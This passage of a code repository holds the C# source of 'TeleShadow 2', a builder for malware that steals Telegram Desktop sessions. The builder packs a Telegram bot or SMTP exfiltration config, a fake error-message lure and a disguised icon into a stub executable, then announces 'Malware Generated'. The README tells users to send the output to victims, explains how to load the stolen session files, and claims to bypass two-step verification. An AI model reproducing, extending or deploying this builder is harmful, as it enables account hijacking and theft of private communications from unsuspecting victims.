684 | // ChkIco1
685 | //
686 | this.ChkIco1.AutoSize = true;
687 | this.ChkIco1.Checked = true;
688 | this.ChkIco1.Cursor = System.Windows.Forms.Cursors.Hand;
689 | this.ChkIco1.Location = new System.Drawing.Point(6, 22);
690 | this.ChkIco1.Name = "ChkIco1";
691 | this.ChkIco1.Size = new System.Drawing.Size(53, 19);
692 | this.ChkIco1.TabIndex = 23;
693 | this.ChkIco1.TabStop = true;
694 | this.ChkIco1.Text = "Java";
695 | this.ChkIco1.UseVisualStyleBackColor = true;
696 | //
697 | // IconPriv
698 | //
699 | this.IconPriv.Location = new System.Drawing.Point(158, 29);
700 | this.IconPriv.Name = "IconPriv";
701 | this.IconPriv.Size = new System.Drawing.Size(77, 87);
702 | this.IconPriv.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
703 | this.IconPriv.TabIndex = 21;
704 | this.IconPriv.TabStop = false;
705 | //
706 | // LabelAbout
707 | //
708 | this.LabelAbout.AutoSize = true;
709 | this.LabelAbout.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Bold);
710 | this.LabelAbout.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(1)))), ((int)(((byte)(122)))), ((int)(((byte)(225)))));
711 | this.LabelAbout.Location = new System.Drawing.Point(12, 390);
712 | this.LabelAbout.Name = "LabelAbout";
713 | this.LabelAbout.Size = new System.Drawing.Size(0, 15);
714 | this.LabelAbout.TabIndex = 23;
715 | //
716 | // Light
717 | //
718 | this.Light.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(10)))), ((int)(((byte)(132)))), ((int)(((byte)(255)))));
719 | this.Light.Dock = System.Windows.Forms.DockStyle.Bottom;
720 | this.Light.Location = new System.Drawing.Point(0, 412);
721 | this.Light.Name = "Light";
722 | this.Light.Size = new System.Drawing.Size(736, 4);
723 | this.Light.TabIndex = 24;
724 | //
725 | // ChkIco00
726 | //
727 | this.ChkIco00.AutoSize = true;
728 | this.ChkIco00.Cursor = System.Windows.Forms.Cursors.Hand;
729 | this.ChkIco00.Location = new System.Drawing.Point(85, 134);
730 | this.ChkIco00.Name = "ChkIco00";
731 | this.ChkIco00.Size = new System.Drawing.Size(67, 19);
732 | this.ChkIco00.TabIndex = 24;
733 | this.ChkIco00.Text = "NoIcon";
734 | this.ChkIco00.UseVisualStyleBackColor = true;
735 | //
736 | // Main
737 | //
738 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
739 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
740 | this.AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink;
741 | this.BackColor = System.Drawing.Color.WhiteSmoke;
742 | this.ClientSize = new System.Drawing.Size(736, 416);
743 | this.Controls.Add(this.Light);
744 | this.Controls.Add(this.LabelAbout);
745 | this.Controls.Add(this.GroupBuild);
746 | this.Controls.Add(this.GroupMethod);
747 | this.Controls.Add(this.GroupSMTP);
748 | this.Controls.Add(this.GroupFMessage);
749 | this.Controls.Add(this.GroupTGApi);
750 | this.Controls.Add(this.panel1);
751 | this.ForeColor = System.Drawing.Color.Black;
752 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
753 | this.Name = "Main";
754 | this.ShowIcon = false;
755 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
756 | this.Text = "TeleShadow 2.0";
757 | this.Load += new System.EventHandler(this.Form1_Load);
758 | this.panel1.ResumeLayout(false);
759 | this.GroupSMTP.ResumeLayout(false);
760 | this.GroupSMTP.PerformLayout();
761 | this.groupBox6.ResumeLayout(false);
762 | this.groupBox6.PerformLayout();
763 | this.GroupTGApi.ResumeLayout(false);
764 | this.GroupTGApi.PerformLayout();
765 | this.GroupMethod.ResumeLayout(false);
766 | this.GroupMethod.PerformLayout();
767 | this.GroupFMessage.ResumeLayout(false);
768 | this.GroupFMessage.PerformLayout();
769 | this.GroupBuild.ResumeLayout(false);
770 | this.GroupIcon.ResumeLayout(false);
771 | this.GroupIcon.PerformLayout();
772 | ((System.ComponentModel.ISupportInitialize)(this.IconPriv)).EndInit();
773 | this.ResumeLayout(false);
774 | this.PerformLayout();
775 |
776 | }
777 |
778 | #endregion
779 | private System.Windows.Forms.Timer Controller;
780 | private System.Windows.Forms.Panel panel1;
781 | private System.Windows.Forms.Button BtnMinimize;
782 | private System.Windows.Forms.Button BtnMaximize;
783 | private System.Windows.Forms.Button btnClose;
784 | private System.Windows.Forms.RadioButton RD_SMTP;
785 | private System.Windows.Forms.RadioButton RD_Telegram;
786 | private System.Windows.Forms.GroupBox GroupSMTP;
787 | private System.Windows.Forms.ComboBox SMTP_Combo;
788 | private System.Windows.Forms.Label label6;
789 | private System.Windows.Forms.TextBox SMTP_IN;
790 | private System.Windows.Forms.Label label5;
791 | private System.Windows.Forms.TextBox SMTP_Pass;
792 | private System.Windows.Forms.Label label3;
793 | private System.Windows.Forms.Label label4;
794 | private System.Windows.Forms.TextBox SMTP_User;
795 | private System.Windows.Forms.Button BtnTest;
796 | private System.Windows.Forms.Label label8;
797 | private System.Windows.Forms.TextBox FakeM_Body;
798 | private System.Windows.Forms.Label label7;
799 | private System.Windows.Forms.GroupBox groupBox6;
800 | private System.Windows.Forms.RadioButton RD_Disable;
801 | private System.Windows.Forms.RadioButton RD_Error;
802 | private System.Windows.Forms.RadioButton RD_Info;
803 | private System.Windows.Forms.RadioButton RD_Question;
804 | private System.Windows.Forms.TextBox FakeM_Title;
805 | private System.Windows.Forms.GroupBox GroupTGApi;
806 | private System.Windows.Forms.TextBox Telegram_Token;
807 | private System.Windows.Forms.Label label1;
808 | private System.Windows.Forms.Label label2;
809 | private System.Windows.Forms.TextBox Telegram_ID;
810 | private System.Windows.Forms.Button BtnBrowse;
811 | private System.Windows.Forms.Button BtnAbout;
812 | private System.Windows.Forms.Button BtnBuild;
813 | private System.Windows.Forms.PictureBox IconPriv;
814 | private System.Windows.Forms.GroupBox GroupMethod;
815 | private System.Windows.Forms.GroupBox GroupFMessage;
816 | private System.Windows.Forms.GroupBox GroupBuild;
817 | private System.Windows.Forms.GroupBox GroupIcon;
818 | private System.Windows.Forms.Label LabelAbout;
819 | private System.Windows.Forms.RadioButton ChkIco9;
820 | private System.Windows.Forms.RadioButton ChkIco8;
821 | private System.Windows.Forms.RadioButton ChkIco7;
822 | private System.Windows.Forms.RadioButton ChkIco6;
823 | private System.Windows.Forms.RadioButton ChkIco5;
824 | private System.Windows.Forms.RadioButton ChkIco4;
825 | private System.Windows.Forms.RadioButton ChkIco3;
826 | private System.Windows.Forms.RadioButton ChkIco2;
827 | private System.Windows.Forms.RadioButton ChkIco1;
828 | private System.Windows.Forms.Panel Light;
829 | private System.Windows.Forms.RadioButton ChkIco00;
830 | }
831 | }
832 |
833 |
--------------------------------------------------------------------------------
/Builder/NULL/Main.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Text;
7 | using System.IO;
8 | using System.Windows.Forms;
9 | using System.Threading;
10 |
11 | namespace NULL
12 | {
13 | public partial class Main : Form
14 | {
15 | internal static string Temp = null;
16 | internal static bool SelectedCustomImage = false;
17 | public Main()
18 | {
19 | InitializeComponent();
20 | CheckForIllegalCrossThreadCalls = false;
21 | }
22 |
23 | private void Form1_Load(object sender, EventArgs e)
24 | {
25 | Controller.Interval = 100;
26 | Controller.Start();
27 | }
28 |
29 | private void checkBox2_CheckedChanged(object sender, EventArgs e)
30 | {
31 |
32 | }
33 |
34 | private void Controller_Tick(object sender, EventArgs e)
35 | {
36 | if (RD_Telegram.Checked)
37 | {
38 | GroupSMTP.Enabled = false;
39 | GroupTGApi.Enabled = true;
40 | }
41 | else if (RD_SMTP.Checked)
42 | {
43 | GroupTGApi.Enabled = false;
44 | GroupSMTP.Enabled = true;
45 | }
46 |
47 | if (ChkIco9.Checked)
48 | {
49 | BtnBrowse.Visible = true;
50 | }
51 | else
52 | {
53 | BtnBrowse.Visible = false;
54 | }
55 | if (ChkIco1.Checked)
56 | {
57 | Temp = @"Icon\SAR1.ico"; SelectedCustomImage = false;
58 | IconPriv.Image = Image.FromFile(Temp);
59 | }
60 | else if (ChkIco2.Checked)
61 | {
62 | Temp = @"Icon\SAR2.ico"; SelectedCustomImage = false;
63 | IconPriv.Image = Image.FromFile(Temp);
64 | }
65 | else if (ChkIco3.Checked)
66 | {
67 | Temp = @"Icon\SAR3.ico"; SelectedCustomImage = false;
68 | IconPriv.Image = Image.FromFile(Temp);
69 | }
70 | else if (ChkIco4.Checked)
71 | {
72 | Temp = @"Icon\SAR4.ico"; SelectedCustomImage = false;
73 | IconPriv.Image = Image.FromFile(Temp);
74 | }
75 | else if (ChkIco5.Checked)
76 | {
77 | Temp = @"Icon\SAR5.ico"; SelectedCustomImage = false;
78 | IconPriv.Image = Image.FromFile(Temp);
79 | }
80 | else if (ChkIco6.Checked)
81 | {
82 | Temp = @"Icon\SAR6.ico"; SelectedCustomImage = false;
83 | IconPriv.Image = Image.FromFile(Temp);
84 | }
85 | else if (ChkIco7.Checked)
86 | {
87 | Temp = @"Icon\SAR7.ico"; SelectedCustomImage = false;
88 | IconPriv.Image = Image.FromFile(Temp);
89 | }
90 | else if (ChkIco8.Checked)
91 | {
92 | Temp = @"Icon\SAR8.ico"; SelectedCustomImage = false;
93 | IconPriv.Image = Image.FromFile(Temp);
94 | }
95 | else if (ChkIco00.Checked)
96 | {
97 | Temp = null; SelectedCustomImage = false;
98 | }
99 | }
100 | private void BTN_Test_Click(object sender, EventArgs e)
101 | {
102 | int Message = 0;
103 | if (RD_Error.Checked)
104 | { Message = 1; }
105 | else if (RD_Question.Checked)
106 | { Message = 2; }
107 | else if (RD_Info.Checked)
108 | { Message = 3; }
109 | switch (Message)
110 | {
111 | case 1:
112 | MessageBox.Show(FakeM_Body.Text, FakeM_Title.Text, MessageBoxButtons.OK, MessageBoxIcon.Error);
113 | break;
114 | case 2:
115 | MessageBox.Show(FakeM_Body.Text, FakeM_Title.Text, MessageBoxButtons.OK, MessageBoxIcon.Question);
116 | break;
117 | case 3:
118 | MessageBox.Show(FakeM_Body.Text, FakeM_Title.Text, MessageBoxButtons.OK, MessageBoxIcon.Information);
119 | break;
120 | default:
121 | MessageBox.Show("Fake Message Disabled!", "");
122 | break;
123 | }
124 | }
125 | string GetFakeMessage()
126 | {
127 | string Split = "~"; // Split char !
128 | string Config = null;
129 | if (RD_Disable.Checked)
130 | {
131 | return "N"
132 | + Split
133 | + "N"
134 | + Split
135 | + "N";
136 | }
137 | else
138 | {
139 | if (RD_Question.Checked)
140 | { Config = "Question"; }
141 | else if (RD_Info.Checked)
142 | { Config = "Info"; }
143 | else if (RD_Error.Checked)
144 | { Config = "Error"; }
145 | return Config
146 | + Split
147 | + FakeM_Title.Text
148 | + Split
149 | + FakeM_Body.Text;
150 | }
151 | }
152 | String GetSMTP()
153 | {
154 | string Split = "~"; // Split char !
155 | string Config = null;
156 | switch (SMTP_Combo.Text)
157 | {
158 | case "Gmail":
159 | Config = "smtp.gmail.com";
160 | break;
161 | case "Yahoo":
162 | Config = "smtp.yahoo.com";
163 | break;
164 | case "Outlook":
165 | Config = "smtp.Outlook.com";
166 | break;
167 | case "Yandex":
168 | Config = "smtp.yandex.ru";
169 | break;
170 | default:
171 | Config = SMTP_Combo.Text;
172 | break;
173 | }
174 | return Config
175 | + Split
176 | + SMTP_User.Text
177 | + Split
178 | + SMTP_Pass.Text;
179 | }
180 |
181 |
182 | private void BtnBrowse_Click(object sender, EventArgs e)
183 | {
184 | var Browse = new OpenFileDialog();
185 | Browse.Filter = "Icon |*.ico";
186 | Browse.ShowDialog();
187 | Temp = Browse.FileName;
188 | if (Temp != "")
189 | {
190 | IconPriv.Image = Image.FromFile(Temp);
191 | SelectedCustomImage = true;
192 | }
193 | }
194 | private bool MD;
195 | private Point Ll;
196 | private void panel1_MouseDown(object sender, MouseEventArgs e)
197 | {
198 | MD = true;
199 | Ll = e.Location;
200 | }
201 |
202 | private void panel1_MouseUp(object sender, MouseEventArgs e)
203 | {
204 | MD = false;
205 | }
206 |
207 | private void panel1_MouseMove(object sender, MouseEventArgs e)
208 | {
209 | if (MD)
210 | {
211 | this.Location = new Point(
212 | (this.Location.X - Ll.X) + e.X, (this.Location.Y - Ll.Y) + e.Y);
213 |
214 | this.Update();
215 | }
216 | }
217 | private void btnClose_Click(object sender, EventArgs e)
218 | {
219 | this.Close();
220 | }
221 |
222 | private void BtnMaximize_Click(object sender, EventArgs e)
223 | {
224 | if (this.WindowState == FormWindowState.Normal)
225 | this.WindowState = FormWindowState.Maximized;
226 | else
227 | this.WindowState = FormWindowState.Normal;
228 | }
229 |
230 | private void BtnMinimize_Click(object sender, EventArgs e)
231 | {
232 | this.WindowState = FormWindowState.Minimized;
233 | }
234 |
235 | private void BTN_About_Click(object sender, EventArgs e)
236 | {
237 | AboutBox a = new AboutBox();
238 | a.ShowDialog();
239 | Thread trd = new Thread(WriteAbout);
240 | Thread.Sleep(1);
241 | trd.IsBackground = true;
242 | trd.Start();
243 | }
244 |
245 | private void WriteAbout()
246 | {
247 | LabelAbout.Text = "";
248 | LabelAbout.Visible = true;
249 | string text = "Thank you for using TeleShadow V2.0 !";
250 | foreach (char c in text.ToCharArray())
251 | {
252 | LabelAbout.Text += c.ToString();
253 | Thread.Sleep(50);
254 | }
255 | Thread.Sleep(5000);
256 | LabelAbout.Text = "";
257 | }
258 | private byte[] Combine(byte[] a123, byte[] b123)
259 | {
260 | byte[] c123 = new byte[a123.Length + b123.Length];
261 | Buffer.BlockCopy(a123, 0, c123, 0, a123.Length);
262 | Buffer.BlockCopy(b123, 0, c123, a123.Length, b123.Length);
263 | return c123;
264 | }
265 | private static string Reverse(string str)
266 | {
267 | int Lentgh = str.Length - 1;
268 | char[] StringCharacters = str.ToCharArray();
269 | string FinalSTR = "";
270 | for (int i = Lentgh; i >= 0; i--)
271 | {
272 | FinalSTR += StringCharacters[i].ToString();
273 | }
274 | return FinalSTR;
275 | }
276 | private void BTN_Build_Click(object sender, EventArgs e)
277 | {
278 | string Split = "`"; // Split char !
279 | string Config = "";
280 | if (RD_Telegram.Checked)
281 | {
282 | Config = "0"
283 | + Split
284 | + Telegram_Token.Text
285 | + Split
286 | + Telegram_ID.Text
287 | + Split
288 | + GetFakeMessage();
289 | }
290 | else
291 | {
292 | Config = "1"
293 | + Split
294 | + GetSMTP()
295 | + Split
296 | + SMTP_IN.Text
297 | + Split
298 | + GetFakeMessage();
299 | }
300 | if (Encoding.UTF8.GetBytes(Config).Length >= 1024)
301 | {
302 | MessageBox.Show("Bad/Large Config !", "", MessageBoxButtons.OK, MessageBoxIcon.Error); return;
303 | }
304 | else
305 | {
306 | try
307 | {
308 | var Browse = new SaveFileDialog();
309 | Browse.Filter = "Excutable |*.exe";
310 | Browse.ShowDialog();
311 | string Temp2 = Browse.FileName;
312 | byte[] Data = Encoding.UTF8.GetBytes(Config);
313 | byte[] Trim = new Byte[1024 - Data.Length];
314 | Data = Combine(Data, Trim);
315 | Data = Core.Encode.Reverse(Data);
316 | byte[] Stub = File.ReadAllBytes("Stubx");
317 | File.WriteAllBytes(Temp2.ToString(), Stub);
318 | if (ChkIco1.Checked)
319 | {Temp = @"Icon\SAR1.ico";}
320 | else if (ChkIco2.Checked)
321 | {Temp = @"Icon\SAR2.ico";}
322 | else if (ChkIco3.Checked)
323 | {Temp = @"Icon\SAR3.ico";}
324 | else if (ChkIco4.Checked)
325 | {Temp = @"Icon\SAR4.ico";}
326 | else if (ChkIco5.Checked)
327 | {Temp = @"Icon\SAR5.ico";}
328 | else if (ChkIco6.Checked)
329 | {Temp = @"Icon\SAR6.ico";}
330 | else if (ChkIco7.Checked)
331 | { Temp = @"Icon\SAR7.ico"; }
332 | else if (ChkIco8.Checked)
333 | { Temp = @"Icon\SAR8.ico"; }
334 | if (ChkIco00.Checked == false)
335 | {
336 | Core.Icon.InjectIcon(Temp2, Temp);
337 | IconPriv.Image = Image.FromFile(Temp);
338 | }
339 | Stub = File.ReadAllBytes(Temp2);
340 | Array.Resize(ref Stub, Stub.Length + 1024);
341 | for (int i = 0; i < Data.Length; i++)
342 | {
343 | Stub[(Stub.Length - 1024) + i] = Data[i];
344 | }
345 | File.WriteAllBytes(Temp2, Stub);
346 | if (File.Exists(Temp2)){
347 | MessageBox.Show("Malware \"" + Temp2 + "\" Generated.", " Malware Generated ...", MessageBoxButtons.OK, MessageBoxIcon.Information);
348 | }
349 | else{
350 | MessageBox.Show("Malware Not Exists, Try Disable A.V ", "", MessageBoxButtons.OK, MessageBoxIcon.Error);
351 | }
352 | Temp = null;
353 | }
354 | catch (Exception)
355 | {}
356 | }
357 |
358 | }
359 |
360 | private void ChkIco9_CheckedChanged(object sender, EventArgs e)
361 | {
362 | //if(!SelectedCustomImage)
363 | // {
364 | // }
365 | }
366 |
367 | private void ChkIco3_CheckedChanged(object sender, EventArgs e)
368 | {
369 |
370 | }
371 | }
372 | }
--------------------------------------------------------------------------------
/Builder/NULL/Main.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 | 17, 17
122 |
123 |
--------------------------------------------------------------------------------
/Builder/NULL/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Windows.Forms;
4 | using System.IO;
5 | namespace NULL
6 | {
7 | static class Program
8 | {
9 | ///
10 | /// The main entry point for the application.
11 | ///
12 | [STAThread]
13 | static void Main()
14 | {
15 | Application.EnableVisualStyles();
16 | Application.SetCompatibleTextRenderingDefault(false);
17 | if (Protector())
18 | {
19 | Application.Exit();
20 | }
21 | else
22 | {
23 | Application.Run(new Main());
24 | }
25 | }
26 | static bool Protector()
27 | {
28 | string[] FileDB =
29 | {
30 | "Stubx",
31 | @"Icon\SAR1.ico",
32 | @"Icon\SAR2.ico",
33 | @"Icon\SAR3.ico",
34 | @"Icon\SAR4.ico",
35 | @"Icon\SAR5.ico",
36 | @"Icon\SAR6.ico"
37 | };
38 | foreach (var Single in FileDB)
39 | {
40 | if (!File.Exists(Single))
41 | {
42 | MessageBox.Show("File \"" + Single + "\" Not Exists! ", "", MessageBoxButtons.OK, MessageBoxIcon.Error);
43 | return true;
44 | }
45 | }
46 | return false;
47 | }
48 |
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/Builder/NULL/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("TeleShadow")]
9 | [assembly: AssemblyDescription("TeleShadow is a advanced program that hijacks telegram desktop (Windows) session.")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("TeleShadow")]
13 | [assembly: AssemblyCopyright("© Copyright 2017 Gnu General Public License Version 3")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("0242b5b1-4d26-413e-8c8c-13b4ed30d510")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("2.0")]
36 | [assembly: AssemblyFileVersion("2.0")]
37 |
--------------------------------------------------------------------------------
/Builder/NULL/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace TeleShadow.Properties {
12 | using System;
13 |
14 |
15 | ///
16 | /// A strongly-typed resource class, for looking up localized strings, etc.
17 | ///
18 | // This class was auto-generated by the StronglyTypedResourceBuilder
19 | // class via a tool like ResGen or Visual Studio.
20 | // To add or remove a member, edit your .ResX file then rerun ResGen
21 | // with the /str option, or rebuild your VS project.
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources {
26 |
27 | private static global::System.Resources.ResourceManager resourceMan;
28 |
29 | private static global::System.Globalization.CultureInfo resourceCulture;
30 |
31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
32 | internal Resources() {
33 | }
34 |
35 | ///
36 | /// Returns the cached ResourceManager instance used by this class.
37 | ///
38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
39 | internal static global::System.Resources.ResourceManager ResourceManager {
40 | get {
41 | if (object.ReferenceEquals(resourceMan, null)) {
42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("TeleShadow.Properties.Resources", typeof(Resources).Assembly);
43 | resourceMan = temp;
44 | }
45 | return resourceMan;
46 | }
47 | }
48 |
49 | ///
50 | /// Overrides the current thread's CurrentUICulture property for all
51 | /// resource lookups using this strongly typed resource class.
52 | ///
53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
54 | internal static global::System.Globalization.CultureInfo Culture {
55 | get {
56 | return resourceCulture;
57 | }
58 | set {
59 | resourceCulture = value;
60 | }
61 | }
62 | }
63 | }
64 |
--------------------------------------------------------------------------------
/Builder/NULL/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/Builder/NULL/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace TeleShadow.Properties {
12 |
13 |
14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.0.1.0")]
16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
17 |
18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
19 |
20 | public static Settings Default {
21 | get {
22 | return defaultInstance;
23 | }
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/Builder/NULL/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/Builder/NULL/Resources/1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParsingTeam/TeleShadow2/99bbf29f7fe8c1ea08b58e6e82ebd9f74c82e0a1/Builder/NULL/Resources/1.jpg
--------------------------------------------------------------------------------
/Builder/NULL/Resources/3.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParsingTeam/TeleShadow2/99bbf29f7fe8c1ea08b58e6e82ebd9f74c82e0a1/Builder/NULL/Resources/3.bmp
--------------------------------------------------------------------------------
/Builder/NULL/Resources/Marlett_1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParsingTeam/TeleShadow2/99bbf29f7fe8c1ea08b58e6e82ebd9f74c82e0a1/Builder/NULL/Resources/Marlett_1.png
--------------------------------------------------------------------------------
/Builder/NULL/Resources/Marlett_2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParsingTeam/TeleShadow2/99bbf29f7fe8c1ea08b58e6e82ebd9f74c82e0a1/Builder/NULL/Resources/Marlett_2.png
--------------------------------------------------------------------------------
/Builder/NULL/TeleShadow.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {0242B5B1-4D26-413E-8C8C-13B4ED30D510}
8 | WinExe
9 | Properties
10 | TeleShadow
11 | TeleShadow
12 | v2.0
13 | 512
14 |
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | 2.ico
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 | Form
49 |
50 |
51 | AboutBox.cs
52 |
53 |
54 |
55 | Form
56 |
57 |
58 | Main.cs
59 |
60 |
61 |
62 |
63 |
64 | AboutBox.cs
65 |
66 |
67 | Main.cs
68 |
69 |
70 | ResXFileCodeGenerator
71 | Designer
72 | Resources.Designer.cs
73 |
74 |
75 |
76 | SettingsSingleFileGenerator
77 | Settings.Designer.cs
78 |
79 |
80 | True
81 | True
82 | Resources.resx
83 |
84 |
85 | True
86 | Settings.settings
87 | True
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
104 |
--------------------------------------------------------------------------------
/Builder/NULL/app.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # TeleShadow 2
2 | Teleshadow2- Advanced Telegram Desktop Session Hijacker!
3 |
4 | 
5 |
6 | # Stealing desktop telegrams has never been so easy !
7 | Set the email and sender details of the sender and recipient or use Telegram API! and send it to the victim after compiling.
8 |
9 | # How do I use the session file?
10 | Delete everything inside folder at "C:\Users\YourName\AppData\Roaming\Telegram Desktop\tdata" Then Replace Uncompressed files inside tdata folder who resiver from victim to your telegram tdata !
11 |
12 | # A Demo ?
13 | Video : https://telegram.me/parsingteam/3311
14 |
15 | # What features does it have?
16 | - [x] Support SMTP Transport!
17 | - [x] Support Telegram API Transport!
18 | - [x] Support FakeMessage!
19 | - [x] Support Custom Icon!
20 | - [x] Bypass Two-step confirmation
21 | - [x] Bypass Inherent identity and need 5-digit verification code
22 | - [x] Support for the official telegram desktop only windows !
23 |
24 | # Thanks to
25 | - Amir
26 | - JeJe Plus
27 | - Mr3chb1
28 | - Rojhelat
29 |
--------------------------------------------------------------------------------
/Release/Icon/SAR1.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParsingTeam/TeleShadow2/99bbf29f7fe8c1ea08b58e6e82ebd9f74c82e0a1/Release/Icon/SAR1.ico
--------------------------------------------------------------------------------
/Release/Icon/SAR2.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParsingTeam/TeleShadow2/99bbf29f7fe8c1ea08b58e6e82ebd9f74c82e0a1/Release/Icon/SAR2.ico
--------------------------------------------------------------------------------
/Release/Icon/SAR3.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParsingTeam/TeleShadow2/99bbf29f7fe8c1ea08b58e6e82ebd9f74c82e0a1/Release/Icon/SAR3.ico
--------------------------------------------------------------------------------
/Release/Icon/SAR4.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParsingTeam/TeleShadow2/99bbf29f7fe8c1ea08b58e6e82ebd9f74c82e0a1/Release/Icon/SAR4.ico
--------------------------------------------------------------------------------
/Release/Icon/SAR5.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParsingTeam/TeleShadow2/99bbf29f7fe8c1ea08b58e6e82ebd9f74c82e0a1/Release/Icon/SAR5.ico
--------------------------------------------------------------------------------
/Release/Icon/SAR6.ico:
--------------------------------------------------------------------------------
